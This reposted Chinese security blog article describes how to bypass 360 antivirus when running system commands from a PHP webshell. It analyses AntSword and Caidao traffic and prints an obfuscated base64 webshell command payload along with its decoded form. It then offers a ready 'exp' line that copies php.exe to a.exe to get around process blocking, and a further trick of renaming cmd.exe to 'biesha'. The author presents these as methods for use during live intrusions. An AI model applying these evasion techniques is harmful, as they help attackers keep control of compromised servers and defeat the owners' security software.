php绕过某防护软件执行系统命令

admin 2022年7月8日18:41:12安全文章评论2 views3725字阅读12分25秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


文章来源:奇安信攻防社区(Macchiato)

原文地址:https://forum.butian.net/share/1444


0x01 前言

最近看到一篇文章讲的是在php环境下绕过360执行命令,早前也被这个问题困扰了很久也没有个正经的解决办法,用蚁剑的ascmd命令也不是很好用,后面就没看了


结果看到这篇文章于是又想再试试,当然首先还要感谢作者大大给的灵感,文章地址会放在结尾,其实这篇文章没有什么顺序,就是记录一下本人一路各种试下来的结果


仔细看文章会发现作者使用的是菜刀,拦截的是程序。我使用的是蚁剑,拦截的是cmd,那就要从蚁剑和菜刀流量包入手了

php绕过某防护软件执行系统命令


0x02 流量分析

蚁剑的流量包已经分析过了就不分析了..在之前的文章里面有写,流量中找了一下这是蚁剑完整执行的命令

cmd /c "cd /d "C:/phpstudy_pro/WWW"&蚁剑shell接收的命令&echo 844fa65177&cd&echo b9efda2bfbc"


后面的echo不用管只是蚁剑用来定位输出用的,蚁剑这里用的是cmd /c执行命令,这是被ban的关键原因


下面去看下菜刀的流量,因为菜刀不能设置代理就要用wireshark抓一下了

cmd=array_map("ass"."ert",array("ev"."Al("\$xx%3D\"Ba"."SE6"."4_dEc"."OdE\";@ev"."al(\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JG09Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTskcD0nY21kJzskcz0nY2QgL2QgQzpcXHBocHN0dWR5X3Byb1xcV1dXXFwmbm90ZXBhZCZlY2hvIFtTXSZjZCZlY2hvIFtFXSc7JGQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOyRjPXN1YnN0cigkZCwwLDEpPT0iLyI%2FIi1jIFwieyRzfVwiIjoiL2MgXCJ7JHN9XCIiOyRyPSJ7JHB9IHskY30iOyRhcnJheT1hcnJheShhcnJheSgicGlwZSIsInIiKSxhcnJheSgicGlwZSIsInciKSxhcnJheSgicGlwZSIsInciKSk7JGZwPXByb2Nfb3Blbigkci4iIDI%2BJjEiLCRhcnJheSwkcGlwZXMpOyRyZXQ9c3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pO3Byb2NfY2xvc2UoJGZwKTtwcmludCAkcmV0OztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));");"));


然后base64解码一下

@ini_set("display_errors", "0");@set_time_limit(0);if (PHP_VERSION < '5.3.0') {    @set_magic_quotes_runtime(0);};echo ("[email protected]");$m = get_magic_quotes_gpc();$p = 'cmd';$s = 'cd /d C:\phpstudy_pro\WWW\&notepad&echo [S]&cd&echo [E]';$d = dirname($_SERVER["SCRIPT_FILENAME"]);$c = substr($d, 0, 1) == "/" ? "-c "{$s}"" : "/c "{$s}"";$r = "{$p} {$c}";$array = array(    array(        "pipe",        "r"    ) ,    array(        "pipe",        "w"    ) ,    array(        "pipe",        "w"    ));$fp = proc_open($r . " 2>&1", $array, $pipes);$ret = stream_get_contents($pipes[1]);proc_close($fp);print $ret;;echo ("[email protected]");die();


执行的命令是这样的

cmd /c "cd /d C:phpstudy_proWWW&菜刀shell接收的命令&echo [S]&cd&echo [E]


?怎么差不多?感觉蚁剑就是多了几种执行命令的方式。


然后又测试了一下发现一个问题,蚁剑执行完之后再用菜刀执行拦截,直接用菜刀执行 不拦截???


思索了一下想起来蚁剑的请求头在不设置的情况是有很明显的特征的,然后看了一下好像最新的蚁剑已经没这个特征了,好吧那再来观察一下别的


先打开进程管理器然后用菜刀执行命令,可以看到php-cgi创建了一个cmd就被拦截了,拦截提示显示的拦截的是cmd,这里顺便说一下第一个cmd是肯定可以创建成功的,因为php的system函数就是调用cmd /c执行命令的,后面可以会在dbg中看到

php绕过某防护软件执行系统命令

然后用蚁剑执行相同命令

php绕过某防护软件执行系统命令

可以看到蚁剑是第二个cmd已经创建出来在执行命令的时候被拦截了


那猜测360可能有的检测

检测流量,流量中出现一些奇怪的东西直接拦截检测windows api,调用的时候出现一些奇怪的参数就拦截


那流量就不说了,大佬们应该有无数方法混淆,360对流量的查杀也不是很严格,甚至手动都可以执行


第二种windows api,windows常见的创建进程就是CreateProcess,这里说一下phpstudy创建进程32位是CreateProcessA,64位CreateProcessW


去dbg里面调试看一下


0x03 进程调试

因为cmd是php-cgi创建出来的,所以把dbg附加到php-cgi上

php绕过某防护软件执行系统命令


断到了,也可以看到右上角的命令行,这里可以知道system函数也是使用cmd /c执行系统命令的


用蚁剑执行命令然后跟一下看看能不能是不是因为Hook了所以不能执行命令的,跟着跟着就到ntdll去了,走到NtResumeThread然后到内核里去了

php绕过某防护软件执行系统命令


可以看到到CALL之后就弹框了,这里不用管这个函数有什么作用,R0的Hook用R3应该是很难解决的


这里再说一下64位的拦截的NtCreateUserProcess这个函数,也是到syscall拦住了,这里就不贴图了


0x04 无端猜想

不管是NtResumeThread还是NtResumeThread肯定都是常用的api要调用到的底层函数,那360到底是怎么知道哪个进程要拦截?会不会是通过进程名?


本来想到PEB里面去改的,但是太懒了,想在外面重命名试试,但是php-cgi好像不能直接执行命令,直接用php.exe试试

php -r "system('cmd /c notepad')";
php绕过某防护软件执行系统命令


没想到这个也拦截了,那可以重命名试一下
php绕过某防护软件执行系统命令


改成a.exe之后可以执行了,只要打通一次后面直接用php.exe也不会拦截了


那步骤就是先把php.exe复制出来改名为a.exe执行一次cmd后就不会被拦截了


exp:
cmd=chdir(php路径);copy("php.exe","a.exe");system("a -r "system(\"cmd /c tasklist\");";");

只要在webshell先手动执行这段php就不会被拦截了,注意转义..好坑


差不多就是这样了


再来个极端点的情况,打的时候管理员在线,管理员看到老是弹框直接点了不再提醒,这时候这种方法也会执行不了,但是问题不大,你可以从windows7上下载cmd然后传到php的目录再重命名后再执行

biesha /c tasklist

也是可以bypass的,这里就不截图了,太懒了


0x05 总结

还有一点会直接拦截进程,这在原文中也有说到过,绕过这个的就很多了像原文作者说的白名单啥的,rundll32.exe也可以,网上搜搜白名单还是挺多的就不写了


其实这里想到改文件名也是碰巧,之前提权到system的文件名是SYSTYEM_CMD,拿上次测试,直接用php执行结果360直接报了拦截CMD,这时候就有点奇怪了,明明没有调用CMD,然后就想到了可能是文件名的问题。


总的来说就多猜猜吧,说不定就绕过了


0x06 参考

PHP环境绕过360执行马儿上线



关 注 有 礼



关注公众号回复“9527”可以领取一套HTB靶场文档和视频1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”杀软对比源码+数据源,0421Windows提权工具包

php绕过某防护软件执行系统命令 还在等什么?赶紧点击下方名片关注学习吧!php绕过某防护软件执行系统命令


推 荐 阅 读




php绕过某防护软件执行系统命令
php绕过某防护软件执行系统命令
php绕过某防护软件执行系统命令

php绕过某防护软件执行系统命令

原文始发于微信公众号(潇湘信安):php绕过某防护软件执行系统命令

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月8日18:41:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  php绕过某防护软件执行系统命令 http://cn-sec.com/archives/1166360.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: